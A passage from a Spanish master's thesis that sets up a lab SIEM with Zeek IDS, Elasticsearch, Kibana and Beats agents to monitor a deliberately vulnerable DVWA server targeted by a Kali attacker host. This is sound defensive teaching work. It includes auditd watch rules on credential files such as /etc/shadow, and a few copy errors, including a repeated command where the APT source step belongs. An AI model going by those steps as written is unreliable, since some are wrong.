- Capacidad de respuesta ante incidentes, de una forma reactiva. 

- Facilitar la gestión a los analistas de seguridad ante el análisis de un incidente. 

- Aumentar la seguridad de una empresa a pesar de tener otras protecciones 

como Firewalls, WAFs, IDS, entre otras. 

 

2.2.2.- Arquitectura general de un SIEM 
 

Se pasa a mostrar de manera general la arquitectura interna de un sistema SIEM. Cabe 

comentar que esta tecnología es muy compleja y cada fabricante puede tener una 

arquitectura interna diferente. 

 

Ilustración 7 - Arquitectura general de un SIEM 

Fases: 

• Sensores: Serán los encargados de recoger los logs de las diferentes 

tecnologías que se quieran integrar en el SIEM. Las más comunes son: IDS, 

Firewall, WAF, proxy, NAC, entre muchas otras. La manera más extendida de 

enviar los logs a un SIEM es a través de SYSLOG, puerto 514. 

• Normalización de eventos: Con la finalidad de poder tratar todos los eventos 

de los diferentes dispositivos de seguridad que reportan eventos al SIEM, es 

necesario llevar a cabo un proceso de filtrado, parseo y normalización de eventos 

para que puedan ser tratados todos en conjunto independientemente de su 

procedencia. Esto es imprescindible ya que si no cada log tendría un formato 

distinto, debido al uso de distintas tecnologías y fabricantes, dificultando así 

realizar búsquedas sobre ellos. 

• Alertas de correlación: Una vez que se tienen los eventos normalizados en el 

SIEM es posible definir alertas de correlación personalizadas, en las cuales, se 

tendrán en cuenta eventos procedentes de distintos dispositivos recogidos y 

normalizados por las fases anteriores. Estas alertas de correlación servirán para 

notificar al usuario afectado o al grupo encargado del análisis de dichas alertas 

y, normalmente, se podrá realizar por varios medios: SMS, correo electrónico, 

llamada automática, generación de ticket en su sistema de ticketing, etc. 
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• Almacenamiento de logs: Otra de las fases que aporta mucho valor a esta 

tecnología, es la parte de almacenamiento de logs a largo plazo. Para ello se 

podrán utilizar diferentes tipos de almacenamiento como por ejemplo bases de 

datos relacionales, ficheros JSON, entre otros. Disponer los eventos 

almacenados a largo plazo puede ayudar a realizar análisis forenses debido a 

que se encuentran todos los logs centralizados y normalizados, facilitando así la 

labor de búsqueda y análisis al analista de seguridad. 

• Monitorización: Esta última fase es la parte más visual de toda la arquitectura 

ya que generalmente los SIEMs tienen la capacidad de presentar informes con 

gráficos como: volumetría de eventos por fuente integrada, alertas tratadas v.s. 

alertas no tratadas, criticidad de las alertas, top de direcciones IP con más 

alertas, entre muchas otras. Aparte de la visualización de informes, también 

suelen tener un apartado de búsqueda de eventos bastante potente. Con toda 

esta información se podrán modificar/desarrollar nuevas reglas de correlación al 

disponer todo el detalle de estas. 

 

2.2.2.- ELK Stack 
 

ELK Stack, es un conjunto de 3 tecnologías de código abierto, Elasticsearch, Logstash 

y Kibana, que trabajando de manera conjunta, forman una herramienta muy completa 

de monitorización, búsqueda y análisis de logs. Cabe comentar que estas 3 

herramientas que forman la pila ELK pueden trabajar de manera independiente para dar 

soporte a otros sistemas de terceros. 

A continuación, se pasa a describir cada uno de los componentes mencionados 

anteriormente: 

- Elasticsearch: Es un motor de base de datos distribuido de alta disponibilidad, 

basado en Lucene, siendo su principal función almacenar, indexar, filtrar y 

mostrar los datos recogidos de diferentes formatos. Cabe comentar que 

Elasticsearch maneja datos estructurados, así como, datos no estructurados, los 

cuales, serían indexados en formato JSON. Elasticsearch, se diferencia de otros 

motores similares ya que, permite hacer búsquedas entre grandes volúmenes 

de datos con mucha velocidad y, además, destaca por ser una solución 

fácilmente escalable y por presentar una tecnología con alta disponibilidad de 

forma transparente para el usuario. 

 

- Logstash: La principal de funcionalidad de Logstash es la recolección, 

procesamiento y redistribución de los datos que recibe a tiempo real (ETL, 

Extract, Transform, Load). Los tres pasos anteriores forman el conocido como 

Logstash Pipeline. 

 

Ilustración 8 - https://manualkibanaocds.readthedocs.io/es/latest/C2/Seccion1/2_Logstash.html 
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La forma de actuar de Logstash sería la siguiente: 

o Utiliza un conjunto de plugins de entrada para recopilar los datos que 

vienen de diferentes fuentes: Beats, SYSLOG, Kafka entre otros. 

o Cuando los datos son recibidos Logstash transformará dichos eventos a 

un formato común. Este proceso se conoce como normalización de 

eventos. 

o Por último, Logstash enviará dicha información normalizada a diferentes 

fuentes como, por ejemplo, Elasticsearch. 

Logstash aporta mucho valor cuando se trabaja con distintos formatos de datos 

no centralizados que proceden de diferentes fuentes, ya que, es capaz de 

entenderlos y procesarlos de tal manera que puedan ser tratados posteriormente 

en conjunto. 

 

- Kibana: Se corresponde con la parte visual de la plataforma ELK. Kibana, por lo 

tanto, es la tecnología que permitirá al usuario visualizar y consultar los datos 

tratados e indexados con los procesos anteriores. La forma que tiene de 

interactuar Kibana con Elasticsearch para realizar búsquedas de datos es 

mediante una API, la cual, es usada para leer la distinta información de los 

índices de Elasticsearch. Una de las funcionalidades más extendida que aporta 

esta herramienta es la generación de dashboards que son alimentados de 

grandes cantidades de datos y que pueden ser consultados a tiempo real. Aparte 

de ser la herramienta de visualización, también es la interfaz gráfica que permite 

administrar al usuario las demás herramientas del stack y llevar a cabo su 

monitorización. 

 

- Elastic Beats: Se pueden entender como cargadores de datos que se instalan 

en diferentes máquinas de las que se quiere monitorizar alguna actividad, 

actuando de esta manera como un agente que enviará la información a Logstash 

o Elasticsearch, dependiendo si necesita algún tratamiento posterior o no. Nos 

encontramos con distintos agentes, de los que destacan: 

o Filebeat. Filebeat es un agente ligero cuya función es monitorizar la 

existencia de nuevos logs en un directorio definido, recoger dichos 

eventos y enviarlos a Logstash, en caso de que necesiten ser 

normalizados, o a Elasticsearch en caso de no necesitar tratamiento 

adicional. 

o Auditbeat. Este agente se encargará de recoger y enviar los logs de 

auditoría, es decir, procesos de usuarios y actividades de estos, 

integridad de ficheros, entre otros. 

o Metricbeat. Metricbeat permitirá realizar una monitorización de la salud 

de la máquina donde haya sido desplegado. Recogerá información como 

rendimiento del sistema, carga del sistema, carga de red o de servicios 

determinados. 

o Winlogbeat. Se encargará de recopilar eventos de sistemas Windows 

como, inicio de sesión exitoso, o fallido, conexiones de dispositivos de 

almacenamiento, instalación nuevo servicio, entre otros. 
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En cuanto al flujo de trabajo que realiza ELK en el proceso de monitorización, caben 

destacar los siguientes pasos: 

1. Logstash se encargará de realizar las transformaciones necesarias en los 

logs que recibe para su posterior tratamiento. 

2. Elasticsearch almacenará los datos que recibe de Logstash de una manera 

indexada para poder ser consultados y tratados en los siguientes pasos de 

una forma más eficiente. 

3. Kibana permitirá visualizar los todos los datos que consulta de Elasticsearch 

indexados y mostrarlos en dashboards actualizados a tiempo real. 

 

 

Ilustración 9 - https://manualkibanaocds.readthedocs.io/en/latest/C2/Seccion1.html 

A continuación se pasa a numerar algunas ventajas y desventajas de esta solución: 

Ventajas: 

- Sistema distribuido. Los datos son almacenados en sistemas distribuidos, no en 

un único sistema. 

- Permite operar sobre distintos índices al mismo tiempo con la finalidad de 

potenciar nuestras búsquedas. 

- Elasticsearch tiene una DSL basada en JSON que facilita a los administradores 

de la plataforma construir consultas complejas y afinar los resultados que se 

quieren obtener en ellas. 

- Acceso en tiempo real a los datos recogidos. 

- ELK permite la escalabilidad horizontal y registro de nodos. 

- Fácil configuración y documentación muy accesible. 

Desventajas: 

- No hay soporte para otros formatos diferentes a JSON, limitando el uso de 

formatos como CSV o XML. 

- Perdida de datos y colisiones en situaciones donde la cantidad de datos sea 

demasiado elevada, TB’s por ejemplo. 

- Logstash no destaca en cuanto a consumo, siendo más lento que otros 

competidores. 
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3.- Desarrollo de la solución de seguridad 
 

En este punto de la memoria se detallarán todas las fases que se han seguido para 

lograr disponer de la solución de seguridad propuesta. Para ello, el presente apartado 

se dividirá en dos partes claramente diferenciadas: 

- Fase de provisión.  

En esta primera fase se llevarán a cabo los siguientes puntos: 

o Instalación y configuración de los diferentes sistemas operativos. 

o Creación de una red NAT virtual aislada en la que se encuentren todos 

los equipos y que tengan conectividad entre ellos y salida a internet y 

configuración de red de los distintos sistemas. 

o Instalación de los distintos componentes software que intervendrán en 

cada máquina. 

o Primera configuración de los componentes software para su posterior 

explotación 

- Fase de explotación. 

En esta segunda fase, en la que se dispondrá de todo el laboratorio preparado 

como resultado del fin la fase anterior, se realizará un estudio de los scripts 

propios de Zeek a emplear, así como el desarrollo de otros nuevos con el fin de 

aumentar la capacidad de detección del IDS con nuevas firmas de ataque. 

Posteriormente, se procederá a la realización de ataques con la finalidad de 

hacer pruebas de las diferentes soluciones empleadas en conjunto, así como su 

mantenimiento y configuraciones adicionales para lograr los distintos objetivos 

de esta solución completa de seguridad. 

 

3.1.- Fase de provisión 

3.1.1.- Mapa de red e inventario software 
 

El mapa de red que se ha diseñado en el entorno de virtualización elegido, VirtualBox, 

es el siguiente: 

 

Ilustración 10 - Mapa de red de la solución de seguridad 
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A continuación, se detalla la información de cada máquina virtual junto con la versión 

del software instalado en cada una de ellas: 

 

Servicio 
Sistema 
Operativo 

Hostname Dirección IP Software Hardware 

Servidor 
Web 

Ubuntu 
Server 18.04 

tfm-
webserver 

172.18.100.10 

Damn Vulnerable Web 
Application (DVWA) 
Apache 2.4.29 
MySQL 5.7.29 
MetricBeat 7.6.1 
AuditBeat 7.6.1 

RAM - 2048 MB 
Disco - 8.00 GB 
CPU - 1x 

IDS Debian 10 tfm-ids 172.18.100.11 
Zeek IDS 3.1.1 
Filebeat 7.6.1 

RAM – 2048MB 
Disco - 30.0 0GB 
CPU - 1x 

Servidor 
ELK 

Ubuntu 
Server 18.04 

tfm-elk 172.18.100.12 
Elasticsearch 7.6.1 
Kibana 7.6.1 
Nginx 1.14.0 

RAM - 5120 MB 
Disco - 100.00 GB 
CPU - 2x  

Usuario 
legítimo  

Ubuntu 18.04 
tfm-
legitimeuser 
  

172.18.100.20 Por defecto 
RAM – 6144 MB 
Disco – 50.00 GB 
CPU – 2x 

Usuario 
malicioso 

Kali Linux 
tfm-
malicioususer  

172.18.100.21 Por defecto 
RAM - 6144 MB 
Disco - 50.00 GB 
CPU - 4x  

Tabla 2 - Inventario software/hardware de la solución de seguridad propuesta 

 

A modo de resumen, se pasa a mostrar la principal función de cada host participante 

en la solución: 

 

Hostname Función en la solución de seguridad propuesta 

tfm-webserver 
Host donde se encuentra instalada la aplicación web vulnerable 
y será un activo para monitorizar mediante las detecciones de 
Zeek IDS y de dos agentes instalados en este host. 
 

tfm-ids 

Actúa como el principal generador de información ya que tiene 
la finalidad de detectar anomalías en el tráfico red. Será capaz 
de detectar, en este caso, los ataques contra el host tfm-
webserver. Tendrá instalado un agente para el envío de logs a 
Elasticsearch. 
 

tfm-elk 

Elasticsearch y Kibana serán los encargados de recoger la 
diferente información que es enviada por los agentes. Por lo 
tanto, sus funciones son de recopilación, almacenamiento y 
visualización de los diferentes eventos.  
 

tfm-legitimeuser 
PC de un usuario final legítimo, que hará uso de la aplicación 
web de una manera usual. 
 

tfm-malicioususer 

 

PC de un usuario malicioso que hará uso de la aplicación web 
de una manera ilegítima con el fin de hacerse con el control del 
host final. Las acciones que representen alguna anomalía serán 
detectadas y alertadas por el IDS. 
 

Tabla 3 - Función de cada host de la solución de seguridad propuesta 
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3.1.2.- Instalación software 

3.1.2.1.- Instalación y configuración de Zeek IDS 
 

Como se ha descrito previamente en esta memora, la principal funcionalidad de esta 

herramienta es la de detectar anomalías en el tráfico red. Para poder detectar anomalías 

en el tráfico que circula por una determinada red, es necesario que el IDS tenga acceso 

a dicha información. Para ello, existen numerosas posibilidades, como, por ejemplo, uso 

de “port mirroring” desde un switch por el que pase todo el tráfico, configurarlo como un 

router para que todo el tráfico de la red pase por él, o, configurar la tarjeta de red de la 

máquina en modo promiscuo. Para este caso, al ser una solución implementada en un 

laboratorio virtual, bastará con configurar la tarjeta de red en modo promiscuo para esta 

máquina, lo cual, permitirá capturar todos los paquetes que circularán por esta subred. 

Por lo tanto, una vez que se tiene instalado el sistema operativo y la asignación de una 

IP del rango 172.18.100.0/24 fija, en este caso 172.18.100.11, para el servidor tfm-ids, 

se procederá a la configuración de una de las interfaces de red en modo promiscuo para 

lograr escuchar todo el tráfico de dicho rango de red. El primer paso, es la configuración 

a nivel del software de virtualización, VirtualBox, en donde tenemos que permitir a dicha 

máquina el modo promiscuo. 

 

Ilustración 11 – Configuración modo promiscuo en Virtualbox 

Aparte de esta configuración, es necesario habilitar la interfaz de red correspondiente 

en modo promiscuo: 

# ip link set enp0s3 promisc on 

 

Ilustración 12 -Verificación modo promiscuo de la interfaz enp0s3 de tfm-ids 

Cabe comentar que el cambio anterior no es persistente, para ello, se ha añadido la 

siguiente línea en el crontab: 

@reboot /usr/bin/ip link set enp0s3 promisc on 

 

 



32 
 

3.1.2.1.1- Instalación Zeek 
 

Una vez que se tiene configurada la interfaz en modo promiscuo, se procede a la 

instalación de Zeek: 

1.- Revisión e instalación de las dependencias obligatorias y opcionales. 

# apt-get install cmake make gcc g++ flex bison libpcap-dev libssl-

dev python-dev swig zlib1g-dev 

De las dependencias opcionales se instalarán cURL y libmaxminddb: 

# apt-get install curl libmaxminddb-dev 

Además es necesario instalar un paquete extra de Python al tener la versión 2.7.X 

instalada en el equipo, tal y como se indica en la guía de instalación oficial, junto con git 

para clonar el repositorio más adelante: 

# apt-get install python-ipaddress 

2.- Instalación Zeek desde el repositorio de GitHub. 

# cd /tmp 
# git clone --recursive https://github.com/zeek/zeek 
# cd zeek/ 
#./configure 

# make 
# make install 

Se ha dejado la ruta de instalación por defecto: /usr/local/zeek 

3.- Configurar variable de entorno: 

# export PATH=/usr/local/zeek/bin:$PATH 

Este cambio anterior no es persistente, para ello se añade el cambio en el fichero 

/etc/profile que es el primer script de inicio en ejecutarse. 
 

3.1.2.1.2.- Configuración Zeek 
 

Una vez que se ha instalado Zeek, se procede a su configuración para el entorno en el 

que se encuentra. 

La principal configuración de Zeek se realiza en los siguientes 3 ficheros del directorio 

/usr/local/zeek/etc/: 

- /usr/local/zeek/etc/nodes.cfg 

Se configurará el modo de trabajo de Zeek, standalone y la interfaz donde 

escuchará: 

 [zeek]  

 type=standalone  

 host=localhost 

 interface=enp0s3 

 

- /usr/local/zeek/etc/networks.cfg 

Se introducirán las redes a escuchar, en este caso, sería la red NAT creada, 

172.18.100.0/24 únicamente, por lo que el fichero quedaría solamente con dicha 

red: 
 172.18.100.0/24      Private IP space 
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- /usr/local/zeek/etc/zeekctl.cfg 

Es el fichero de la configuración general del IDS, la cual, quedaría de la siguiente 

manera. Cabe comentar que se ha cambiado el periodo de rotación de logs para 

que sea de 7200 segundos. 
 

# Mail Options 

MailTo = root@localhost 

MailConnectionSummary = 1 

MinDiskSpace = 5 

MailHostUpDown = 1 

# Logging Options 

LogRotationInterval = 7200 

LogExpireInterval = 0 

StatsLogEnable = 1 

StatsLogExpireInterval = 0 

# Other Options 

StatusCmdShowAll = 0 

CrashExpireInterval = 0 

SitePolicyScripts = local.zeek 

LogDir = /usr/local/zeek/logs 

SpoolDir = /usr/local/zeek/spool 

CfgDir = /usr/local/zeek/etc 

 

Como se ha comentado en el estudio previo de este IDS, Zeek viene con unos scripts 

que permiten realizar diferentes tipos de detecciones. Para habilitar/deshabilibar scripts 

se debe modificar el siguiente fichero /usr/local/zeek/share/zeek/site/local.zeek. Por el 

momento, se van a dejar los scripts que vienen por defecto. En las siguientes fases del 

proyecto se modificará este fichero para la activación de nuevas funcionalidades de 

Zeek. 

Una vez que se ha instalado y configurado correctamente Zeek, procedemos a aplicar 

la configuración y a su arranque mediante el comando zeekctl deploy. 

 

Ilustración 13 - Zeekctl depoly tras su configuración inicial 

Una de las principales ventajas de este IDS es su gestión en cuanto al almacenamiento 

de logs. Zeek generará diferentes ficheros de logs dependiendo de diferentes tipos de 

parámetros, como conexión, detección, para hacer más fácil sus búsquedas y 

procesamiento posterior. La ruta que se ha configurado para dichos logs es 

/usr/local/zeek/logs/current. Los principales ficheros de logs son: 
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Nombre fichero log Resumen 

conn.log Conexiones TCP, UDP e ICMP 
dns.log Actividad DNS 
http.log Peticiones y respuestas de HTTP 
ssh.log Conexiones SSH 
ssl.log Información del handshake SSL/TLS 
notice.log Notificaciones frente a detecciones 

Tabla 4 - Resumen ficheros Zeek IDS 

 

3.1.2.1.3.- Pruebas básicas de funcionamiento 
 

Por último, en la fase de provisión de esta máquina entrarían las pruebas sencillas de 

funcionamiento. 

Para ello, se ha hecho una petición HTTP GET a un recurso Web desde el servidor tfm-

webserver, con IP local 172.18.100.10: 

 

Ilustración 14  - cURL desde tfm-webserver 

Posteriormente, para comprobar si el IDS ha conseguido inspeccionar correctamente el 

tráfico, podemos buscar dicha petición en los logs: 

 

Ilustración 15 - Extracto http.log de tfm-ids 

 

3.1.2.2.- Instalación y configuración de Elasticsearch y Kibana 
 

En este caso, la instalación y configuración de Elasticsearch y Kibana (v7.6.1) se 

realizarán sobre la misma máquina, tfm-elk, a la cual, se le ha asignado una dirección 

IP fija del rango 172.18.100.0/24, 172.18.100.12. 

Cabe comentar que en esta máquina no se instalará el tercer componente de la pila 

ELK, Logstash, debido a que los logs ya se enviarán desde Zeek normalizados 

directamente al motor de Elasticsearch mediante Filebeat y un módulo específico de 

Zeek como se detallará más adelante. De esta manera, al no necesitar realizar ninguna 

operación con los logs que genera Zeek, no sería necesaria la instalación y utilización 

de Logstash. 
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3.1.2.2.1.- Instalación Elasticsearch y Kibana 
 

1.- Instalación de dependencias. 

# apt install openjdk-8-jre nginx apt-transport-https 
 

root@tfm-elk:/home/userelk# java -version 

openjdk version "1.8.0_242" 

OpenJDK Runtime Environment (build 1.8.0_242-8u242-b08-

0ubuntu3~18.04-b08) 

OpenJDK 64-Bit Server VM (build 25.242-b08, mixed mode) 

 

2.- Importar clave GPG pública de Elasticsearch en APT 

# wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | 
# sudo apt-key add – 

3.- Agregar listado de Fuentes de Elastic a /etc/apt/sources.list.d/ 

# wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | 
# sudo apt-key add – 

4.- Actualizar paquetes e instalación de Elasticsearch y Kibana 

# apt-get update && sudo apt-get install elasticsearch Kibana 

 

3.1.2.2.2.- Configuración Elasticsearch y Kibana 
 

A continuación, se debe de configurar cada uno de los dos componentes recién 

instalados para que cumplan con su función dentro de la solución de seguridad que se 

ha desarrollado. 

En un primer lugar, se debe de configurar Elasticsearch para que sea accesible desde 

otras máquinas diferentes a localhost, que es la configuración que viene por defecto. 

Esto se debe a que diferentes máquinas van a interactuar con Elasticsearch para enviar 

logs, como por ejemplo Zeek IDS, o también el servidor web, y como se envían desde 

el origen, los debemos de permitir en la configuración. En este caso habría que modificar 

la siguiente configuración en el fichero /etc/elasticsearch/elasticsearch.yml: 

network.host: 0.0.0.0 

discovery.seed_hosts: ["127.0.0.1", "[::1]", "172.18.100.10", 

“172.18.100.11”] 

 

Cabe comentar que el puerto de Elasticsearch se ha dejado el de por defecto, siendo 

este el 9200. 

Por último, se iniciará y habilitará Elasticsearch para comprobar su funcionamiento: 

# systemctl start elasticsearch 
# systemctl enable elasticsearch 

Para verificar que el servicio se está ejecutando, enviaremos esta petición HTTP desde 

el IDS para verificar la conectividad: 
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userids@tfm-ids:~$ curl -XGET '172.18.100.12:9200/?pretty' 

  { 

    "name" : "tfm-elk", 

    "cluster_name" : "elasticsearch", 

    "cluster_uuid" : "NZbSnPYiQpqwVyUDN7j5yQ", 

    "version" : { 

      "number" : "7.6.1", 

      "build_flavor" : "default", 

      "build_type" : "deb", 

      "build_hash" : "aa751e09be0a5072e8570670309b1f12348f023b", 

      "build_date" : "2020-02-29T00:15:25.529771Z", 

      "build_snapshot" : false, 

      "lucene_version" : "8.4.0", 

      "minimum_wire_compatibility_version" : "6.8.0", 

      "minimum_index_compatibility_version" : "6.0.0-beta1" 

    }, 

    "tagline" : "You Know, for Search" 

 

Una vez que se ha configurado Elasticsearch, pasamos a la configuración de Kibana. 

De igual manera que ocurría con Elasticsearch, vamos a permitir a equipos diferentes a 

localhost que puedan interactuar con Kibana. Para ello, vamos a modificar el fichero 

/etc/kibana/kibana.yml: 

server.host: "0.0.0.0" 

elasticsearch.hosts: "http://0.0.0.0:9200" 

 

Una vez terminada la configuración de Kibana, procedemos a hacer un reinicio del 

servicio y a habilitarlo. 

# systemctl start kibana 
# systemctl enable kibana 

Para poder utilizar la interfaz web de Kibana se configurará el servidor Nginx instalado 

para habilitar esta aplicación. 

En primer lugar, se va a crear un usuario administrador junto con su contraseña, con el 

que se podrá entrar en la aplicación web. Se almacenará en el siguiente fichero: 

htpasswd.users. 

# echo "adminkibana:`openssl passwd -apr1`" | sudo tee -a 

/etc/nginx/htpasswd.users 

Posteriormente se configurará este usuario par que pueda acceder a la aplicación web 

en la configuración de Nginx. De esta forma, se pretende añadir una capa adicional de 

seguridad al entorno de Kibana. 

A continuación, se creará un archivo de bloque de servidor de Nginx en la siguiente ruta: 

/etc/nginx/sites-available/tfmkibana. En el contenido de dicho fichero, que se puede ver 

en el Anexo II apartado 1, se puede apreciar cómo se configura Nginx para dirigir el 

tráfico HTTP del servidor hacia la aplicación de Kibana que está escuchando en el 

puerto 5601 y, además, se configurará para leer el archivo htpasswd.users para realizar 

la autenticación al entrar en el entorno. 
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Por último, se habilitará la nueva configuración creando un enlace simbólico al path 

sites-enabled y se comprobará que no hay errores de sintaxis: 

root@tfm-elk:/etc/nginx/sites-enabled# ln -s /etc/nginx/sites-

available/tfmkibana /etc/nginx/sites-enabled/tfmkibana 

root@tfm-elk:/etc/nginx/sites-enabled# ls -lhrt 

total 0 

lrwxrwxrwx 1 root root 36 Mar 16 11:20 tfmkibana -> 

/etc/nginx/sites-available/tfmkibana 

 

root@tfm-elk:/etc/nginx/sites-enabled# nginx -t 

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok 

nginx: configuration file /etc/nginx/nginx.conf test is successful  

root@tfm-elk:/etc/nginx/sites-enabled# systemctl restart nginx 

 

3.1.2.2.3.- Pruebas básicas de funcionamiento 
 

Con la configuración anterior se posible el acceso a Kibana desde su dirección IP del 

servidor. Para comprobar el acceso, se realizará una petición a la página de estado del 

servidor Kibana (http://172.18.100.12/status) desde una máquina exterior, en este caso, 

desde tfm-legitimeuser. 

En un primer lugar, se pide que se meta la cuenta de administración que se ha 

configurado en Ngnix: 

 

Ilustración 16 – Formulario de autenticación en la aplicación web de Kibana 

 

Ilustración 17 - Página de status de Kibana 
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3.1.2.3.- Instalación agentes monitorización 
 

Una vez que se tiene configurado el IDS y el servidor ELK, el siguiente paso es la 

integración de los logs generados con ELK. En este punto es donde intervienen los 

agentes, los cuales, su principal función es enviar los eventos desde las fuentes 

orígenes de eventos al servidor final para su posterior indexación. Por lo tanto, dichos 

agentes enviarán los datos obtenidos hacia el servidor Elasticsearch previamente 

configurado. 

En esta solución de seguridad se van a usar los siguientes agentes en los diferentes 

servidores que generen información relevante para un posterior análisis: 

Elastic Beat Versión Máquina origen Breve descripción 

Filebeat 7.6.1 
tfm-ids – 
172.18.100.11 

Recolección de logs de Zeek IDS a 
través del módulo de Zeek que posee 
Filebeat y su envío normalizado a 
Elasticsearch. 

Auditbeat 7.6.1 
tfm-webserver – 
172.18.100.10 

Recolección de logs de auditoría del 
servidor web y su envío a 
Elasticsearch. 

Metricbeat 7.6.1 
tfm-webserver – 
172.18.100.10 

Recolección de métricas del servidor 
web de los procesos Apache y 
MySQL, entre otros, y su envío a 
Elasticsearch 

Tabla 5 - Inventario de agentes de monitorización de la solución 

A continuación se muestra el esquema de envío de información entre los distintos 

módulos de la solución de seguridad con los agentes anteriormente nombrados. 

 

Ilustración 18 - Mapa de red de actuación de los agentes con el servidor ELK 
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3.1.2.3.1.- Instalación y configuración de Filebeat 
 

La principal funcionalidad de este agente para la presente solución de seguridad es de 

recopilar los logs generados por el IDS de Zeek y enviarlos normalizados a Elasticseach-

Para ello, se va a realizar la configuración del agente Filebeat directamente en el 

servidor donde se ha instalado el IDS, tfm-ids, debido a que es un agente ligero, y, 

además, posee un módulo específico para tratar los eventos procedentes del IDS Zeek.  

Para poder usar dicho módulo de Zeek que posee Filebeat, el primer requisito es que 

Zeek genere los logs en formato JSON. Para ello, en primer lugar se debe de realizar 

una modificación en la configuración del IDS. Por lo tanto, se va a activar un script 

disponible de Zeek que hace que todos los logs sean escritos en JSON, y, además, se 

modificará la variable use_json de F (false) a T (true) de ascii.zeek. Por último se deben 

de aplicar los cambios en Zeek con zeekctl deploy. 

/usr/local/zeek/share/zeek/site/local.zeek 

 @load policy/tuning/json-logs.zeek 

/usr/local/zeek/share/zeek/base/frameworks/logging/writers/ascii

.zeek 

 const use_json = T &redef; 

Una vez completado este primer requisito se procede con la instalación de Filebeat 7.6.1 

en la máquina tfm-ids: 

1.- Descargar e instalar la versión más reciente de Filebeat. 

# curl -L -O 
https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-

7.6.1-amd64.deb 

# dpkg -i filebeat-7.6.1-amd64.deb 
 

2.- Configurar las direcciones IP de Elasticsearch y Kibana donde serán enviados los 

datos y cargados los dashboards en /etc/filebeat/filebeat.yml 

setup.kibana: 

  host: "172.18.100.12:5601" 

output.elasticsearch: 

  hosts: ["172.18.100.12:9200"] 

 

3.- Carga manual de la plantilla de índices en Elasticsearch, siendo la IP 172.18.100.12 

la dirección donde está instalado Elasticsearch. 

# filebeat setup --index-management -E output.logstash.enabled=false -E 
'output.elasticsearch.hosts=["172.18.100.12:9200"]' 

 Overwriting ILM policy is disabled. Set `setup.ilm.overwrite:true` 

for enabling. 

 Index setup finished. 

 

4.- Activar los dashboards de Kibana para Filebeat. 

# filebeat setup --dashboards 
 Loading dashboards (Kibana must be running and reachable) 

 Loaded dashboards 

 

5.- Activar módulo de Zeek en Filebeat: 

# filebeat setup --modules zeek -e -E 'setup.dashboards.enabled=true' 
# filebeat modules enable Zeek 
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6.- Activar logs a enviar y fijar ruta de los ficheros de logs para que sean recogidos 

Se van a enviar los siguientes logs de Zeek: 

i. /usr/local/zeek/logs/current/notice.log 

ii. /usr/local/zeek/logs/current/conn.log 

iii. /usr/local/zeek/logs/current/http.log 

iv. /usr/local/zeek/logs/current/ssh.log 

Para ello se debe de modificar el fichero /etc/filebeat/modules.d/zeek.yml indicando la 

ruta de estos ficheros para su correspondiente servicio con la finalidad de que Zeek 

sepa dónde encontrar dichos logs. Se pasa a mostrar únicamente el contenido 

modificado de dicho fichero: 

root@tfm-ids:/usr/local/zeek/logs/current# cat 

/etc/filebeat/modules.d/zeek.yml  

# Module: zeek 

 

- module: zeek 

  connection: 

    enabled: true 

    var.paths: ["/usr/local/zeek/logs/current/conn.log"] 

  http: 

    enabled: true 

    var.paths: ["/usr/local/zeek/logs/current/http.log"] 

  notice: 

    enabled: true 

    var.paths: ["/usr/local/zeek/logs/current/notice.log"] 

  ssh: 

    enabled: true 

    var.paths: ["/usr/local/zeek/logs/current/ssh.log"] 

    # Set custom paths for the log files. If left empty, 

    # Filebeat will choose the paths depending on your OS. 

    #var.paths: 

7.- Verificar inicio en modo debug para buscar posibles errores. 

# filebeat -e 

8.- Iniciar y habilitar el servicio para comenzar con el envío de logs de Zeek a 

Elasticsearch. 

# systemctl start filebeat 
# systemctl enable filebeat 

 

En cuanto al almacenamiento e indexación, se pasa a validar si la información se está 

enviando correctamente a Elasticsearch desde Filebeat, se ejecutará el siguiente 

comando desde la máquina tfm-ids, que es donde se ha instalado el agente Filebeat. La 

salida del comando se puede observar en el Anexo II apartado 2. 

root@tfm-ids:~# curl -X GET 

http://172.18.100.12:9200/filebeat*/_search?pretty 

 

Se puede ver como la información detectada en conn.log se ha enviado correctamente 

por Filebeat a Elasticsearch. Además, también podemos consultar los índices 

disponibles en Elasticsearch para ver si existe uno para filebeat-*, tanto por CLI como 

por la interfaz de Kibana. Ambas verificaciones, se encuentran en el Anexo II apartado 

3. 
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Como resultado de todo este proceso de configuración de Filebeat con el módulo de 

Zeek, podemos ver un dashboard por defecto que se ha generado para los logs 

procedentes de esta tecnología: 

 

Ilustración 19 - Dashboard por defecto Zeek IDS - [Filebeat Zeek] Overview 

 

Por último, se debe de comprobar si llegan logs de Zeek IDS a Kibana. Para ello, desde 

el apartado Discover, filtramos por hostname “tfm-ids” y se observa que aparecen 

correctamente: 

 

Ilustración 20 - Discover logs de Zeek IDS 
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3.1.2.3.2.- Instalación y configuración de Auditbeat 
 

La principal funcionalidad de este agente para la solución de seguridad desarrollada es 

el envío de la información de auditoría generada por el servidor web a Elasticsearch. 

Para ello, se instalará el agente Metricbeat en el servidor web, tfm-webserver, el cual, 

enviará los eventos de integridad de ficheros, accesos, entre muchos otros a 

Elasticsearch. 

Cabe comentar que la instalación de este agente es igual a la de Filebeat, salvo que hay 

que indicar que el agente a instalar en Auditbeat, por lo que no se pasan a detallar todos 

los pasos de la instalación. 

En cuanto a la configuración de este agente, al igual que sucedía con el anterior, 

debemos de indicar en el fichero de configuración las direcciones IP del servidor 

Elasticsearch y Kibana. Para ello, se modificará el fichero /etc/auditbeat/auditbeat.yml. 

Además en ese fichero se definirán los directorios y ficheros a monitorizar su integridad, 

los ficheros a los que se quiere tener una monitorización de sus visualizaciones, por 

ejemplo, /etc/passwd, entre otros: 

auditbeat.modules: 

- module: auditd 

  audit_rule_files: [ '${path.config}/audit.rules.d/*.conf' ] 

  audit_rules: | 

    -w /etc/group -p wa -k identity 

    -w /etc/passwd -p wra -k identity 

    -w /etc/gshadow -p wra -k identity 

    -w /etc/shadow -p wra -k identity 

 

- module: file_integrity 

  paths: 

  - /bin 

  - /usr/bin 

  - /sbin 

  - /usr/sbin 

  - /etc 

 

- module: system 

  datasets: 

  state.period: 12h 

  user.detect_password_changes: true 

  login.wtmp_file_pattern: /var/log/wtmp* 

  login.btmp_file_pattern: /var/log/btmp* 

 

setup.template.settings: 

  index.number_of_shards: 1 

 

setup.kibana: 

  host: "172.18.100.12:5601" 

 

output.elasticsearch: 

  hosts: ["172.18.100.12:9200"] 

 

